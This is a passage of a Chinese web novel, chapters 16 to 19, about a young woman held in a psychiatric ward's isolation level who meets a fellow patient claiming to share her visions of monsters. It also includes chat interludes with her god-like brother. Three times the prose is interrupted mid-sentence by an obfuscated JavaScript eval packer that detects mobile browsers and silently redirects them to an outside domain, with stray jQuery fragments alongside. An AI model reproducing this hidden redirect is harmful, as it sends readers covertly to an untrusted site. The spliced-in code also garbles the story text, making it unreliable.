当祂以霉菌为外在形式的本体,在本能牵引下向那颗心脏回流之时,兴许因为过程带来的痛苦与欢愉,实在超出人类大脑的承受限度,被她美化成了一场性行为。 用人类的话语来说,这叫□□? 可当初小伞明明答应了,将她自己献给祂的,总不能在骗祂。 所以这叫两情相悦,你情我愿才对。 林雨停点点头,对这一想法表示高度认可。 祂忽又想起,拉斐尔胆敢当着祂的面对小伞做出那种狎昵之事,脸色不由沉郁几分。 死变态!不要脸的小三! 洗干净脖子等着吧,祂一定会将小伞夺回来的。 —— 热心网友:噫~ 热心网友:这个妹控就是逊。 热心网友:你这不还是在妹妹身体里留了东西? 世界第一好哥哥:这不算,是小伞从前主动要过去的。 热心网友:妹妹那边发生了什么,你这个做哥哥的都能感知到咯? 世界第一好哥哥:以前可以。 世界第一好哥哥:但现在信号被疯人院隔断,只能模模糊糊听到小伞心中的念头。 热心网友:切,无聊。 热心网友:我还以为能共感,医生对林妹妹做了什么,你这个当哥哥的都能感同身受。 热心网友:兄妹共御,3p大戏。 热心网友:刺激! 世界第一好哥哥:呕!!! 世界第一好哥哥:别以为躲在疯人院我就刀不了你! 热心网友:这才对味嘛,拿出点邪神的气势来。 热心网友:我和林妹妹接下来会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856954|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被送入负一层,疯人院的核心区域,你确定我不会被变态医生洗脑吗? 世界第一好哥哥:不会,待会儿我给你打上眷属烙印。 世界第一好哥哥:为什么祂明知你是我手下,还继续留你在小伞身边? 热心网友:因为祂善。 热心网友:好吧我错了,不开玩笑。 热心网友:或许是因为祂有自信对付你。 热心网友:祂越轻视,就越代表优势在我,咱们可以继续拯救林妹妹大作战! 世界第一好哥哥:这么积极? 热心网友:不然呢?眼睁睁看你收回聊天频道,然后我重新变成疯子? —— “这里就是医院负一层,用来进行司法隔离的区域之一。”拉斐尔介绍道。 电梯门打开,林归伞扫视一周。 与陶泽口中做人体实验的邪恶基地不同,此处的装修风格简约干净,灯光明亮,空间宽阔齐整。 更没有她想象中,充斥病人闹事的尖叫嘶喊。 拉斐尔率先出了电梯,边走边与她说:“陶泽先前就住在这里,只是负担不起高昂的费用,再加上病情有好转的迹象,因此转入普通病房。” 他叹了口气,对陶泽的遭遇没有继续说。 “再算上林小姐你,我负责的这个区域共有五名病人。” “接下来请与大家好好相处。” 林归伞头点到一半,忽然听见远远传来的脚步声。 跑在最前面那道轻快如音符,紧随其后追赶的则慌乱又焦急。 她看到走廊拐角迎面撞来一道白影。 这是一个容貌有些奇异的少年,发丝与睫毛如新雪洁白,眼睛是水晶般剔透的紫色。 很明显的白化病特征,却没有惧光带来的眯眼习惯,或许是将眯眼的动作自然而然融入进笑里。 他一边刘海别着纸皇冠的发卡,衣袖与裤腿稍稍挽起,宽松病号服都穿出精致感。 此刻正对着身后追逐他的护士扮鬼脸。 “我知道自己英俊倜傥,人见人爱,小姐姐们为了独占我一颗芳心,做出不理智的行为也是人之常情。” “但监禁play还是扣多瓦路!” 护士们气急败坏,“这位病人,吃药时间请不要乱跑,还有这不是监禁!” 白发少年一副嬉皮笑脸的模样,转过头就要与林归伞撞个正着,他及时刹车,心有余悸拍拍胸口。 “好险,差点我初吻就没了。” 林归伞:“……” “哟,咱俩撞衫了?”白发少年一回神,就打量起眼前人,“好巧,你也是这里的病人啊。” 他理了理衣服和头发,彬彬有礼伸出手,“我辈分排第五,这位小姐在我后边进来,那就是老六了。” 林归伞:“……” 她迟疑握住少年的手,被他带着上下晃了晃。 转过头却询问似的看向拉斐尔,“医生,你不是说这一区域包括我只有五名病人吗?” 这个老六是哪儿来的? 拉斐尔从刚才起就一言不发,目光如有实质钉在少年身上。 他望向追来的护士,她们每一个人脸上都是理所当然对待熟人的表情,就像浑然不知,这个白化病少年是凭空冒出来的一般。 见他迟迟不答,少年瞅了他一眼,哼笑,“年纪大,记性不好了呗。” 林归伞欲言又止。 拉斐尔摘下眼镜,捏了捏眉心,蔚蓝的眼眸深处,倒映出白发少年身周缭绕的,与先前的林归伞有些许相似,属于林雨停眷属的烙印。 他微微一哂,“最近熬夜加班,脑子是有些糊涂了。” 17. 第 17 章 “看样子你住我隔壁,接下来请多关照哦!” 林归伞与白发少年一同被护士带去走廊深处,二人在相邻的两扇门前停下,分开前少年还不忘在护士推搡下扒拉门框。 “待会儿见~” 林归伞礼貌点点头,推开自己那扇房门。 房间与她先前住的病房差别不大,医院统一风格的雪白装修,只是少了一扇观景的窗。 她忽然听到哗啦啦的声音。 一回头,就见护士从门框的位置,利索地抽出一张铁网门,将房间锁住。 原来还多了一扇铁门。 林归伞颇有闲心玩起了找不同,没过几秒就因为无聊而放弃。 拉斐尔的半张脸露在门上的检视窗,“林小姐,还有什么需要记得跟护士说一声。” “我知道了。” 等医生护士都离开后,林归伞往病床上坐了一会儿,开始收拾行李。 自从得知犯病的真相是自己杀害父母,接受不了罪恶感而将一切抛给了林雨停。 林归伞并没有感到水落石出、豁然开朗的轻松,反而是莫名的疲惫,每当独自一人,就孤坐着神游天外,脑袋空茫茫的,注意力分散。 愧疚与痛苦的情绪只在刚开始那一阵。 没多久就如同退潮的海水,消失得无影无踪,顺带抚平了沙滩上的一片狼藉。 她知道自己的状态很不对劲。 大脑是个胆小鬼,背着主人套了一堆防御机制,受到强烈的情感冲击后,主动选择与这具身体抽离。 林归伞就觉得她浑浑噩噩,仿佛在以第三人称视角,波澜不兴地旁观自己的行为,像一个待机的npc,没人搭理就只会重复固定程序。 “嗨~” 突兀的一声,将她魂魄震回身体。 林归伞吓了一跳,眼神警惕扫向声源处,小心翼翼拨开床头柜上的闹钟。 “又见面啦!” 闹钟后,并不是粉刷得平整洁白的墙面,而是一个拳头大小的洞,被人为凿出来,连通两间病房。 白发少年此刻就就扒在这个洞上,紫水晶般的眼眸弯了弯,见林归伞看过来,他退远了些,盘膝坐在地上露出上半身,自来熟打了个招呼。 “在收拾东西啊?” 林归伞抿了抿唇,“墙上这洞——” “我凿的,原本是个插座。”少年大大方方地承认,捞起一旁断了线的插座一晃,“你翻翻抽屉应该也能找到一个,到时候记得原封不动归位,别被护士发现了。” 他对上林归伞复杂的目光,扭了扭身子用撒娇似的语气说:“这也不能怪我,囚犯一样关在这里,没病都要憋出病来。” 林归伞决定为医院辩解,“这里的生活作息表很健康,每天都有固定的自由活动时间。” “那点儿时间哪管够?”少年满脸嫌弃,“我闲得慌,护士小姐姐又不跟我聊天,只好自力更生,凿墙跟隔壁邻居搭话。” “我叫极乐。”少年自我介绍,“十九岁的青葱水嫩大学生,当然我更乐意称呼自己今年十八岁~” 极乐嘀嘀咕咕,“很早就想说了,虚岁都是往高了报,大家为什么都那么着急长大?” 他继续喋喋不休,神情欢快得像一只叽喳叫的小鸟,“兴趣是不分场合地玩烂梗,座右铭跟我的□□空间签名一样,一天换一个。” “顺带一提,今日的座右铭是,只要锄头挥得好,没有墙角挖不倒。” “你呢?” 极乐双手托腮,眼含期待看了过来。 林归伞说出了自己的名字。 “没了?”极乐等了半天也不见下文。 林归伞无辜说:“没了。” 极乐一副遭受背叛的神色,痛心疾首地控诉,“我向你分享了那么多,你却只给我一个名字!” 林归伞老老实实道:“我没想听,都是你自顾自说的。” “这跟不主动不拒绝的渣女有什么区别,我被白嫖了嘤嘤嘤~”极乐像模像样擦擦眼角,转头又是没事人的表情。 “那我们就算认识了,以后就是病友啦!” 林归伞一顿,“病友?” “对啊。”极乐理直气壮,“一起旅游的叫驴友,写信交流的是笔友,网上互喷的那是网友,咱俩搁一块儿生病,不叫病友叫什么?” 林归伞晕乎乎被他说服了,“你好,病友。” 极乐噗嗤一笑,“你这人真有意思,谁会把病友病友的挂在嘴边?” 林归伞顿时气闷,扭过头接着收拾行李。 “生气了?”极乐摸了摸下巴,屁颠颠凑近洞口,做出喇叭状的手势大声喊,“是我错了,请告诉我怎样让你消气——” “林妹妹。” 林归伞手一抖,刚叠好的衣服顿时散落,又得重头再来,她深吸一口气,“林妹妹是在叫我吗?” 极乐煞有介事,“没错,你姓林,还总是伤春悲秋的emo脸。” 林归伞咬牙微笑,“第一,我有名字。” “你叫楚雨荨。”极乐下意识抢答,反应过来后羞涩道,“不好意思串台了,我都说了我喜欢玩烂梗。” 林归伞面无表情,“第二,我年纪比你大,应该叫姐姐。” “?”极乐难以置信后仰了脊背。 林归伞虽然板着脸,却能瞧见一丝得意,“二十一岁,大三,不知道是不是同一所学校,但你叫学姐也成。” 极乐默默给自己捏鸭子嘴,誓死不叫这一声姐。 林归伞重新叠好衣服,缓声道:“第三,我没有生气,只是东西没收拾完,不方便与你说话。” 极乐懂事地捂住嘴,扒拉在拳头大小的洞口,摇头晃脑盯着她看。 等林归伞整理得差不多,他一把松开手,夸张地叹出一口气,嘴像终于解开封印一样不知疲倦地嘚吧嘚吧。 “你得了什么病,又犯了什么事进来的?” 林归伞这次倒没有抗拒与他聊天,因为总觉得不搭理他,这人也能兴致勃勃自言自语聊好久。 她搬了张椅子,坐在床头柜前,“你不先说吗?” 极乐警觉,“别想白嫖我第二次!” 林归伞轻哂,张了张嘴,忽然想试试对初次见面的人吐露实情。 憋在心里太久,只有拉斐尔医生对她知根知底,她需要倾诉这件事的勇气,更需要他人的责备,唤醒这颗麻木已久的心脏。 林归伞嗓音嘶哑,“我杀了父母双亲。” 极乐眨了眨眼,语调没多少平仄起伏,“哦,然后呢?” 林归伞眼眶泛红,吸吸鼻子,哭腔都有点维持不下去,“你就这么点反应,不该用看杀人狂的眼神看我吗?” 极乐耸肩,“你怕不是忘了,咱们都是精神病人,被关押在负一层,本就是因为对他人对自己,有严重的危害倾向。” “实话告诉你。”他压低声音,指向走廊更深处,“这里关了一个比你更凶,杀得还更狠的。” 林归伞对此毫不关心,“那你呢?你又犯了什么事?” “我没犯事啊。”极乐摊手说。 被林归伞如有实质的目光紧盯着,他鼓了鼓脸颊,“没骗你,至少我觉得自己没犯事。” “大家都说我有病,所以我就进来了。” 林归伞追问,“什么病?” “幻觉。”极乐满不在乎答道,忽而笑得狡黠,招了招手,“你过来,我告诉你一个惊天大秘密!” 林归伞将碎发挽到耳后,凑到洞口前,极乐浅浅的呼吸喷洒在她耳廓,有些不习惯。 她听到极乐语气浮夸地说:“这个世界上有怪物存在!” 林归伞瞳孔骤然紧缩,逃也似的远离墙壁,心跳仍残留惊悸,喘息声杂乱。 极乐瞪大双眼,“不是吧,这都能吓到你,我还没说更吓人的。” 他起身离开了片刻,回来时怀里捧着一堆折纸,手一松哗啦啦落在地上,随意捡起一个,就是狰狞邪恶的怪诞形象。 “喏,这些就是我看到的,但大家都说是我出了幻觉。” 极乐蔫头耷脑,“最可怕的是,就连治疗我的这所医院都是魔窟,护士小姐姐其实批了人皮,我知道她们内里是黑毛裂嘴的大猩猩。” “那个叫拉斐尔的医生,我每次见面都想问他一副眼镜够不够那么多眼珠子用。” “统治这所医院的怪物居然长了六对大翅膀子,烤了吃一定很香。” “你怎么了,为什么用那种眼神看我?” 极乐说到一半住嘴,注意到林归伞面色苍白,眼珠子漆黑得吓人,以极度不信任的神情,脚步缓缓后退。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864992|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你从哪里知道这些的?”林归伞声音紧绷。 极乐莫名其妙,“我咋知道,用眼睛直接看到的呗,要是清楚幻觉从哪儿来的,我还犯得着当一个精神病人?” 林归伞厉声,“别敷衍我!” “你刚刚叙述的幻觉内容,我只对寥寥几个人讲过,如果不是他们说漏嘴,就是你偷看我的病历!” 极乐无缘无故被她栽赃被她吼,再好的脾气也有点怒了,“谁没事看你的病历?” “照你的说法,咱俩撞上同样的幻觉了?” 极乐天女散花般抛了一把怪物形象的折纸,“这些你都见过?” 林归伞摇头。 极乐顿时没好气地翻白眼,“这不就结了?我知道的比你多,应该是我状告你偷看我的脑子!” 林归伞对他说的话只字不信。 极乐反倒咄咄逼人起来,狐疑问道:“你不会被那些怪物,尤其医生给骗了吧?” “在我的认知里,怪物可以随意修改现实,用祂们凭空造出来的伪证,忽悠瘸一个人压根不在话下。” “再说了天底下哪有这么巧,能被两个人同时看到的,不叫幻觉,而是现实。” 林归伞不敢承认她有过一瞬动摇。 要是极乐说的是真的,幻觉才是现实。 岂不是证明林雨停才是杀害她父母的怪物? 她能够脱罪。 不对! 林归伞攥紧五指,用力到指甲几乎掐出血来。 拉斐尔医生说得还不清楚吗? 幻觉的起因,怪物的根源,都是出自她的负罪心理,将真相妖魔化。 不要再度沉溺幻觉,给自己逃避的借口了。 “滚!”林归伞色厉内荏地喊道,“骗子,你给我滚!” 极乐简直不敢相信他听到了什么,天可怜见的,窦娥都没他冤。 “林小姐,发生什么了?你还好吧?” 这时,门被敲响,护士长隔着观察窗一眼就看到床头柜前开着的洞,以及露出半张脸的极乐。 “怎么又是你?”她疾言厉色,“上次住在这间房的病人,就是受你言语挑唆病情复发,我还奇怪你怎么在护士严格监管下做到的,原来是在墙上偷偷凿了个洞。” “林小姐,千万别将他说的放在心上,已经没事了。” 原来是这样。 极乐是个花言巧语,专门玩弄精神病人的人渣。 怪不得他偷看自己的病历,编出那一套瞎话。 林归伞安静下来,缓缓点头,选择相信了护士长。 “什么叫受我挑唆?我见都没见过你口中的病人。”极乐都快气笑了,“好家伙,凭空给我甩一口大锅是吧?” 他冲着林归伞喊,“你看到了,这就是怪物的手段!” “祂们担心我的存在将你唤醒,紧急打补丁,捏造了这样一个病人,不然为什么不早提醒你?” 极乐直直望向她,紫眸清澈凛冽,“林归伞,你信我,别被祂们骗了!” 林归伞慌忙挪开与他对视的目光,又看到了满脸焦急担忧之色的护士长,她正要开锁进来。 “你别过来!”林归伞自己都不知道为什么,明明选择相信护士长,却本能在恐惧地尖叫。 披着人皮的怪物形象还历历在目。 那应该是她的幻觉的。 林归伞再次感到头疼欲裂,两个念头来回撕扯,脑子都要炸开,视野满是重影。 一会儿是干净整洁的病房,一会儿墙缝里又闪过密密麻麻的蓝色眼珠。 极乐与护士长的话语来回在耳边交替。 “信我,别被怪物骗了!” “千万别信他,他在加重你的病情!” 林归伞捂着耳朵,蜷缩在墙角,“我不知道,都别说了!” “我真的不知道该相信谁,到底什么才是真的?” 护士长见状,率先止住话语,停下了开锁的动作,“别怕,林小姐,我不进去,你好好休息。” 她随后警告般用力拍了拍隔壁房门,平静对极了道:“之所以不提醒林小姐,是因为医院不能对任何一个病人怀有偏见,我们相信你会改过自新。” “但看起来你并不值得我们的好心,极乐先生,将你单独隔离的事我会向上面申请。” 18. 第 18 章 “林小姐,好些了吗?”拉斐尔温和地问。 “已经好多了,谢谢医生。” 刚才听了极乐一袭话,林归伞实在动摇得厉害,幻觉复发,情绪濒临崩溃。 护士长叫来了医生,好一番心理疏导,才叫她稳定下来。 林归伞手里捧着一杯热牛奶,眼眶还有些红,坐在心理辅导室的软沙发里,对面就是拉斐尔医生。 “能告诉我究竟发生什么了吗?”拉斐尔身体微微前倾,做出聆听者的姿势。 林归伞低声道:“护士长没有跟你说吗?” “说了。”拉斐尔神色不变,噙着亲切而循循善诱的浅笑,“但我更想知道你的看法。” 林归伞没有拒绝这个不过分的请求。 “住在我隔壁的病人。”她捂了捂装热牛奶的杯子,手心暖融融的温度让她内心安定,“他说看到了与我同样的幻觉。” 拉斐尔对此并未发表任何意见,点了点头,银边眼镜闪过一道流光,遮掩眼底真实情绪。 林归伞没有从他脸上看出什么,略微遗憾。 “医院本应该对我的病历进行保密,守护病人的隐私,但我有理由怀疑你们在这一点上失职。” 她耍了个坏心眼,对这个问题的回答,医生要么承认院方失职泄露她的病历,要么就是极乐话中并非全无道理。 拉斐尔果然严肃地说:“关于林小姐的病历是否外泄,这件事我会严查,一定给你一个交代。” 但他紧跟着补上一句,“林小姐听说过集体幻觉吗?” 林归伞在心理学的书籍上看到过类似案例,“譬如许多人同时声称在梦里见到同一个人?” 拉斐尔点头。 “医生想说我与极乐的情况是集体幻觉?”林归伞黑眸紧盯拉斐尔的双眼,慢条斯理询问。 “不,这种说法其实有些牵强。” 拉斐尔十指交叠抵着下巴,很是惬意从容的模样,“是我更愿意相信医院员工不曾失职,给另一种可能性找补而已。” 林归伞皱眉,“你是医生,怎么可以给我这样一个答案?” 拉斐尔轻笑一声,将长及过肩的金发挽至耳后,换了个双腿交叠手搭膝盖的更舒服的坐姿。 他淡然回答,“因为林小姐的问题与我的回答一样,从一开始就预设了立场。” “你想听到我回答是,医院外泄了你的病历,这代表林小姐希望我给你一个不容置疑的证据,否决极乐先生的说辞。” 拉斐尔给出了他的判断,“林小姐情感上更相信极乐,理智上却想要我说服你。” 林归伞转茶杯的动作一滞,险些被飞溅的牛奶烫了手。 “当心。”拉斐尔赶忙提醒。 她不好意思地笑了一下,将热牛奶放到一边,全程没敢抬头直视医生。 因为她知道,拉斐尔一字不差地看穿了她的心思。 沉默持续片刻。 拉斐尔主动开口,“林小姐,我接下来的话你可能不爱听,还有些道德绑架的嫌疑。” “但我必须说。” “无论真相有多痛苦,也要让病人直面现实,这是我出于一个医生的职责。” 拉斐尔淡淡道:“林小姐,你杀了父母双亲。” 林归伞一瞬间攥紧了手,从软沙发上站起来,胸膛起伏,强忍情绪俯视拉斐尔,“医生,我知道,我都说了我会认罪!” “为什么还要让我留在疯人院,送去监狱不好吗?” 她死命拽着头发,带着几分恨意地说:“明明我记忆都恢复了,为什么幻觉还是存在?” “因为你还没有彻底痊愈。”拉斐尔语气毫无波澜,推了推眼镜,“幻觉源自你的逃避心理,而你一而再再而三选择相信幻觉,没有勇气面对现实。” “当然还有一个原因,是神经系统紊乱,就是俗话说的脑子里搭错了弦。” 林归伞一哽,气成河豚,“医生!” 拉斐尔清咳两声,“确实有这方面的原因,心理和生理相辅相成的双重病根,后者还好说,你正在吃的药就能缓解,我们眼下最需要解决的是前者。” “林小姐。”他颇有些疲惫地叹道,“一味沉溺幻觉,现实里的人该怎么办?你的亲朋好友,哪怕想想你的养兄,他还在等你痊愈。” 林归伞满脸苦涩,“我也想尽早出院,可我就是做不到。” “有这个意愿就好。”拉斐尔没有责备的意思,“帮你做到这件事本就是我这个医生的存在意义。” “此次病情复发的原因,果然还是极乐,我已经收到护士长的单独隔离申请,从明天起林小姐就不用担心了。” “等等!”林归伞下意识道,“我没关系的,极乐可以继续住在我隔壁。” 话说完她才后知后觉。 医生跟她说得足够清楚了,逃避心理催生幻觉,极乐的存在不利于她病情恢复,哪怕为了亲友也该努力克服。 可她都到这份上了,还是偏袒极乐,偏袒他的怪物论。 “极乐告诉我他过得很无聊,一个人的话会憋疯的。”林归伞明知不应该,却依旧呆呆地说完对极乐的维护之言,她也不知道为什么。 兴许医生有句话不对,她不是搭错了弦,而是脑子里生了一根掰不动的钢筋。 就像冥冥之中有一个声音,叫她必须这么做。 拉斐尔安静凝视她,蔚蓝的眼眸有如大海,深邃而无情。 心性稳定如他,也烦躁地吐出口郁气,“诱导治疗不起效,你连带着将整座医院妖魔化。” “哪怕都将病历本甩出来了,面对他人三言两语还是会轻易动摇。” “我对你的劝说似乎也听不进去,拿亲人道德绑架都不行!” “你说我该拿你怎么办,林小姐?” 林归伞顿时气弱,压根不知道该说什么,只能坐回沙发椅上。 她也感到自己实在无药可救。 又过了许久,拉斐尔收拾好情绪,从白大褂衣领里取出十字架项链,放在唇边象征性吻了吻,“林小姐,你知道吗?” “教义倡导人生而有罪,主会背负世间所有罪孽。” 林归伞只说:“我不信教,想让我向神乞求赦免还是算了吧。” “我也没有传教的意思。”拉斐尔一笑置之,“其实,我反倒并不认同所谓教义。” 林归伞惊诧抬眸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868874|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 拉斐尔拨弄眼镜上的防滑链,“在我看来,人的确生而伴有原罪。” “这世上所有罪责都是可以原谅的,但只能被你自己,每个人都是自己的‘主’。” 林归伞牵强扯起嘴角,“就算我不信神,也听得出医生这是大不敬。” 拉斐尔将防滑链塞进胸前口袋,避免与项链缠在一处,再一次吻了吻十字架,漫不经心道:“主会原谅我的,不敬神明难道就不属于他该背负的罪?” 林归伞睁大双眼,像是第一次认识拉斐尔。 素来温和有礼、形象一丝不苟的医生,此刻金发懒懒搭在肩上,蓝眸里盛着的是不再加以掩饰的散漫戏谑。 他自称信徒,可他从头到尾就没有一丝虔诚之心。 甚至有种,将自己置于神明之上的,胆大包天的狂妄与高傲。 “医生。”林归伞心情复杂,但想起医生平日里莫名的疏离感,对他现在这副模样反而接受良好,甚至觉得本该如此。 她苦笑着说:“你简直是在告诉我,无论犯了什么滔天大罪,只要自己不承认那就不是罪,三观这么歪,就不怕带坏了我吗?” “不怕。”拉斐尔平淡应道,唇角微微上弯,“三观歪了不属于精神疾病的范畴。” “可能是我先前处事太温吞了,迟迟不见多大效果,如今只能用稍微激进点的法子,不择手段消除掉你的负罪感。” “我的职责自始至终都是帮林小姐摆脱幻觉困扰,从而做到行为自控,至于治疗的副作用,你的三观正确与否全然与你接下来的处境无关。” “林小姐犯了罪。”拉斐尔漠然道,镜片后的双眼冷淡且锋锐。 “你的是非过错交由法律审判,而我应该做的,就是将你送上法庭。” 林归伞简直不敢相信她听到了什么,“医生,你不能这样做。” 拉斐尔轻嗤,“为什么不能?” 肆无忌惮打量她的眼神,好似在说:你是个罪犯,我对你做的事都是情有可原。 林归伞急声道:“医生就不怕我对你产生排斥,愈加偏信幻觉吗?” “不,你不会。”拉斐尔的语气笃定得像在陈述某种事实。 “你只会想骗也骗不了自己,这里就是现实。” …… 极乐趴在检视窗上张望,瞧见林归伞被护士带回来,神色很平静,看不出不久前情绪才崩溃过。 他一路追逐,从门口跟到了床头柜,取出没用了的电线插座,冲着被他凿开的洞喊道:“你做了什么?他们决定暂时不单独隔离我了。” 林归伞摇头,“没什么,只是替你说了几句好话。” 极乐歪了歪头,“不管怎么说,谢了。” 他拍了拍受到惊吓的心脏,嘟囔道:“要是被一个人关小黑屋,无聊起来我真的会憋疯。” “所以。”他还是问出了最关心的那个话题。 “我和护士长。” “世界上有怪物和你是个精神病。” “你到底信哪边?” 林归伞抱着膝盖缩在病床上,闻言情绪已不再激动,抬头看了他一眼,重新埋下脑袋。 “我不知道。” 19. 第 19 章 “你不知道?” 极乐尾音上扬,“你为什么会不知道?” “是相信疯人院的说辞,一切不合常理的事都是一个精神病人的幻觉。” “还是信我,信这个世界上有怪物,能肆意篡改现实?” 极乐推了推不存在的眼镜,模仿教师敲黑板的动作,“二选一的结果,林同学,请告诉我你的答案。” 林归伞冷不防问,“你为什么这么执着于让我相信你?” 极乐毫不犹豫,“你信医院不信我,还把我当成专门祸害其他病人的人渣,对我吼了声滚。” 他委屈又不忿地说:“不给自己讨回公道,我半夜想起这事都会气得睡不着。” 林归伞:“……抱歉。” “对不起什么的倒无所谓。”极乐轻飘飘地说,“我只想知道你信不信我。” 林归伞缓慢摇头,依旧是那个答案,“我不知道。” “唉,你这人——” 极乐都不知说她什么好,没见过脑子这么轴的。 这时,门口传来砰砰敲门声,护士长探出半张不苟言笑的脸,警告道:“极乐先生,请不要随意寒暄。” 极乐耸了耸肩,给那张喋喋不休的嘴比了个拉拉链的手势。 护士长说:“我来是通知你们,医院接下来要进行一次彻底的大扫除,请你们收拾好个人物品,二十分钟后到大厅集合。” “大扫除?”极乐脑袋上长出一个问号,随手摸了把地板,“虽然不想承认,但医院卫生挺好的呀。” 护士长看他一眼,“拉斐尔医生说,他在负一层撞见打洞进来的老鼠,最近阴雨天,医院外墙和窗户也滋生不少霉菌。” 极乐忍不住翻白眼,“拉斐尔拉斐尔,怎么哪里都有他,事这么多就不怕忙不过来?” 护士长淡淡道:“这就不用你操心了,极乐先生。” “呸呸呸,谁关心他啊。”极乐干呕一声,但护士长已经走远,听不到他的嫌弃。 “两头堵小姐。”他安静了片刻,忽然冒出一句,“你喜欢老鼠吗?” 林归伞:“?” 她反复琢磨这个名字,“你在叫谁?” 极乐理所当然,“你呗,脑子轴一根筋,迟早变成两头堵。” 林归伞磨了磨牙,“就不能好好叫我名字吗?” 极乐眼也不眨,“不能。” 林归伞:“……” “所以你喜不喜欢老鼠?”极乐若无其事问。 林归伞断然道:“不喜欢。” 极乐捧着心口,一副受伤不轻的模样,“鼠鼠那么可爱,你为什么不喜欢鼠鼠?” 林归伞逐一细数老鼠的恶行,“身上脏,常年携带病菌,偷东西吃,还喜欢咬坏家具,总之百害无一利。” 极乐越听越泪汪汪,就好像被骂的是他,“宠物鼠呢?这个包干净的。” 林归伞:“没养过,不感兴趣。” 极乐仍不死心,“小白鼠呢?雪白雪白的一团,最好还有一双布灵布灵的紫眼睛。” “紫眼睛是变异了吗?”林归伞吐槽道,“怪不得沦为实验耗材。” 极乐:“……你这个冷酷无情的女人。” 对话就此告一段落,二十分钟后,两人各自收拾好个人物品,来到大厅。 这里已经站了两个穿病号服的人。 一男一女,其中一个还是林归伞的熟人。 陶泽比起初见时活泼开朗小卷毛的印象,如今来看简直换了一个人,两颊微有凹陷,几天不见就瘦了许多,神色阴沉低郁。 林归伞偏开了视线,落在另一人身上。 那是位身材高挑的女子,扎着干练高马尾,皮肤是健康红润的白,长眉显得很英气,丹凤眼有种盛气凌人的锐利。 极乐向她介绍,“晓天仪,晓姐,老资历选手了,在负一层起码住了好几年。” 又指向陶泽,“这人可不得了,病情好转出去没多久,又被逮回来。” 林归伞尴尬地与陶泽对视,他兴致寥寥垂眸,没有搭理她。 一旁,晓天仪目光漫不经心一扫林归伞,蓦地顿住。 她上前几步,过人的身高与居高临下的眼神十分具有压迫感,上下打量林归伞许久,忽然问,“你怎么来了,还穿上病号服,生病了?” 林归伞愣住,“请问,我认识你吗?” 晓天仪嗤笑一声,“就这么讨厌我?认都不愿认一下?” “算了。”她自顾自将这事翻篇,两手搭在林归伞肩膀上,稍稍用力按了按,“瘦了些,怎么还变矮了?” 林归伞:“……”有被冒犯到。 这下她已经确定是晓天仪认错了人,她身高绝对没有逆生长! “晓姐,你真的认错了。”极乐赶忙试图将两人分开,“她叫林归伞,是刚来的病人。” 晓天仪劲很大,一把攥住极乐的手,将他强硬推开,眼神冷厉,“我刚开始就想问了,你是谁?为什么一副自来熟的样子?” 极乐龇牙咧嘴揉了揉被握疼的手腕,没回答,反倒隐晦地对林归伞做了个手势,指指脑子,示意晓天仪这是犯病了。 林归伞点头,表示自己知道了。 晓天仪观察敏锐,将他们的互动看在眼里,皱着眉将林归伞的脑袋掰过来,“他和你什么关系?” 不用她回答,晓天仪已经脑补,“男朋友也不要找这种中看不中用的豆芽菜类型。” “最好找个结实点的,胸肌腹肌赏心悦目,累了当椅子靠,烦了用来当沙包发泄,遇到危险有能力保护你,实在打不过还能推出去挡刀。” 极乐:“……” 林归伞:“……” “那个,你弄疼我了。”林归伞弱弱指了指肩膀,努力寻找借口。 晓天仪道了声歉,这才如愿与她分开。 林归伞几乎是逃到极乐身边,晓天仪顾及她脑补出来的男女朋友关系,倒没有追上来。 “晓姐这是什么情况?”林归伞心有余悸地问。 极乐背着手,老气横秋地叹道:“阿尔海默兹综合症。” 林归伞嗯字才说了一半,尾音陡然滑坡,扭头看向他,“那不就是俗称的老年痴呆?” 极乐笑了笑,“年轻人也有几率得,但是极低。” “咱们晓姐就是撞上了万中无一的概率,记忆丧失,到了最后连呼吸吃饭的本能都会遗忘。” 林归伞心情复杂,“晓姐把我认成谁了?” “应该是她妹妹吧。”极乐也不大确定,“我来这里也没多久,从护士小姐姐那里打听到,晓姐有一个妹妹,关系不大好,一见面就吵架。” “但在一年前,这个妹妹就再也没来过。” “对了。”沉默片刻,林归伞向走廊深处张望,“不是说这里有六个病人,等了这么久才四个?” 极乐想了想,“其中一个我来这么多天都没见过,平时自由活动时间也不出门。” “至于最后一个——” 他压低声音,小心翼翼凑到林归伞耳边,“他就是我跟你说的,杀人比你还狠的危险分子,基本被拘束衣全天候绑着。” “居然推出来了?”极乐揉揉眼睛,不敢置信看向某处。 林归伞同样扭头看去,只见走廊尽头,牛高马大的护工推着一张竖立起来的病床。 一眼就能注意到的张扬红发,几根黑色皮 